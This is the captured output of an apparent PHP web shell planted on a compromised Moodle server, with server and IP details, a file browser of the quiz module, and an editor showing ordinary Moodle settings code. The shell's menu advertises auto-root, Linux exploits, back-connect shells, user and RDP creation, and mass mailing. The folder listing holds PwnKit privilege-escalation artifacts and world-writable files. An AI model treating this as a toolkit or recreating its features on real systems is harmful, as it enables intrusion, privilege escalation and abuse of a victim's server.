Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
mod /
quiz /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
accessrule
[ DIR ]
drwxrwxrwx
backup
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
report
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accessmanager.php
18.23
KB
-rwxrwxrwx
accessmanager_form.php
2.33
KB
-rwxrwxrwx
addrandom.php
4.51
KB
-rwxrwxrwx
addrandomform.php
3.36
KB
-rwxrwxrwx
attempt.php
5.28
KB
-rwxrwxrwx
attemptlib.php
62.21
KB
-rwxrwxrwx
autosave.ajax.php
2.13
KB
-rwxrwxrwx
comment.php
3.47
KB
-rwxrwxrwx
cronlib.php
4.53
KB
-rwxrwxrwx
edit.js
6.28
KB
-rwxrwxrwx
edit.php
22.22
KB
-rwxrwxrwx
editlib.php
52.23
KB
-rwxrwxrwx
grade.php
3.49
KB
-rwxrwxrwx
index.php
6.24
KB
-rwxrwxrwx
lib.php
63.63
KB
-rwxrwxrwx
locallib.php
63.94
KB
-rwxrwxrwx
mod_form.php
27.38
KB
-rwxrwxrwx
module.js
10.14
KB
-rwxrwxrwx
override_form.php
10.17
KB
-rwxrwxrwx
overridedelete.php
3.23
KB
-rwxrwxrwx
overrideedit.php
6.09
KB
-rwxrwxrwx
overrides.php
9.98
KB
-rwxrwxrwx
processattempt.php
6.59
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
renderer.php
47.86
KB
-rwxrwxrwx
report.php
3.28
KB
-rwxrwxrwx
review.php
9.18
KB
-rwxrwxrwx
reviewquestion.php
3.4
KB
-rwxrwxrwx
settings.php
11.15
KB
-rwxrwxrwx
settingslib.php
7.05
KB
-rwxrwxrwx
startattempt.php
9.94
KB
-rwxrwxrwx
styles.css
30.68
KB
-rwxrwxrwx
summary.php
3.44
KB
-rwxrwxrwx
upgrade.txt
243
B
-rwxrwxrwx
version.php
1.2
KB
-rwxrwxrwx
view.php
9.28
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : settingslib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This page is the entry page into the quiz UI. Displays information about the * quiz to students and teachers, and lets students see their previous attempts. * * @package mod * @subpackage quiz * @copyright 2008 Tim Hunt * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Admin settings class for the quiz review opitions. * * @copyright 2008 Tim Hunt * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_quiz_admin_review_setting extends admin_setting { /**#@+ * @var integer should match the constants defined in {@link mod_quiz_display_options}. * again, copied for performance reasons. */ const DURING = 0x10000; const IMMEDIATELY_AFTER = 0x01000; const LATER_WHILE_OPEN = 0x00100; const AFTER_CLOSE = 0x00010; /**#@-*/ /** * @var boolean|null forced checked / disabled attributes for the during time. */ protected $duringstate; /** * This should match {@link mod_quiz_mod_form::$reviewfields} but copied * here because generating the admin tree needs to be fast. * @return array */ public static function fields() { return array( 'attempt' => get_string('theattempt', 'quiz'), 'correctness' => get_string('whethercorrect', 'question'), 'marks' => get_string('marks', 'question'), 'specificfeedback' => get_string('specificfeedback', 'question'), 'generalfeedback' => get_string('generalfeedback', 'question'), 'rightanswer' => get_string('rightanswer', 'question'), 'overallfeedback' => get_string('overallfeedback', 'quiz'), ); } public function __construct($name, $visiblename, $description, $defaultsetting, $duringstate = null) { $this->duringstate = $duringstate; parent::__construct($name, $visiblename, $description, $defaultsetting); } /** * @return int all times. */ public static function all_on() { return self::DURING | self::IMMEDIATELY_AFTER | self::LATER_WHILE_OPEN | self::AFTER_CLOSE; } protected static function times() { return array( self::DURING => get_string('reviewduring', 'quiz'), self::IMMEDIATELY_AFTER => get_string('reviewimmediately', 'quiz'), self::LATER_WHILE_OPEN => get_string('reviewopen', 'quiz'), self::AFTER_CLOSE => get_string('reviewclosed', 'quiz'), ); } protected function normalise_data($data) { $times = self::times(); $value = 0; foreach ($times as $timemask => $name) { if ($timemask == self::DURING && !is_null($this->duringstate)) { if ($this->duringstate) { $value += $timemask; } } else if (!empty($data[$timemask])) { $value += $timemask; } } return $value; } public function get_setting() { return $this->config_read($this->name); } public function write_setting($data) { if (is_array($data) || empty($data)) { $data = $this->normalise_data($data); } $this->config_write($this->name, $data); return ''; } public function output_html($data, $query = '') { if (is_array($data) || empty($data)) { $data = $this->normalise_data($data); } $return = '<div class="group"><input type="hidden" name="' . $this->get_full_name() . '[' . self::DURING . ']" value="0" />'; foreach (self::times() as $timemask => $namestring) { $id = $this->get_id(). '_' . $timemask; $state = ''; if ($data & $timemask) { $state = 'checked="checked" '; } if ($timemask == self::DURING && !is_null($this->duringstate)) { $state = 'disabled="disabled" '; if ($this->duringstate) { $state .= 'checked="checked" '; } } $return .= '<span><input type="checkbox" name="' . $this->get_full_name() . '[' . $timemask . ']" value="1" id="' . $id . '" ' . $state . '/> <label for="' . $id . '">' . $namestring . "</label></span>\n"; } $return .= "</div>\n"; return format_admin_setting($this, $this->visiblename, $return, $this->description, true, '', get_string('everythingon', 'quiz'), $query); } } /** * Admin settings class for the quiz grading method. * * Just so we can lazy-load the choices. * * @copyright 2011 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_quiz_admin_setting_grademethod extends admin_setting_configselect_with_advanced { public function load_choices() { global $CFG; if (is_array($this->choices)) { return true; } require_once($CFG->dirroot . '/mod/quiz/locallib.php'); $this->choices = quiz_get_grading_options(); return true; } } /** * Admin settings class for the quiz browser security option. * * Just so we can lazy-load the choices. * * @copyright 2011 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_quiz_admin_setting_browsersecurity extends admin_setting_configselect_with_advanced { public function load_choices() { global $CFG; if (is_array($this->choices)) { return true; } require_once($CFG->dirroot . '/mod/quiz/locallib.php'); $this->choices = quiz_access_manager::get_browser_security_choices(); return true; } } /** * Admin settings class for the quiz overdue attempt handling method. * * Just so we can lazy-load the choices. * * @copyright 2011 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_quiz_admin_setting_overduehandling extends admin_setting_configselect_with_advanced { public function load_choices() { global $CFG; if (is_array($this->choices)) { return true; } require_once($CFG->dirroot . '/mod/quiz/locallib.php'); $this->choices = quiz_get_overdue_handling_options(); return true; } }
Close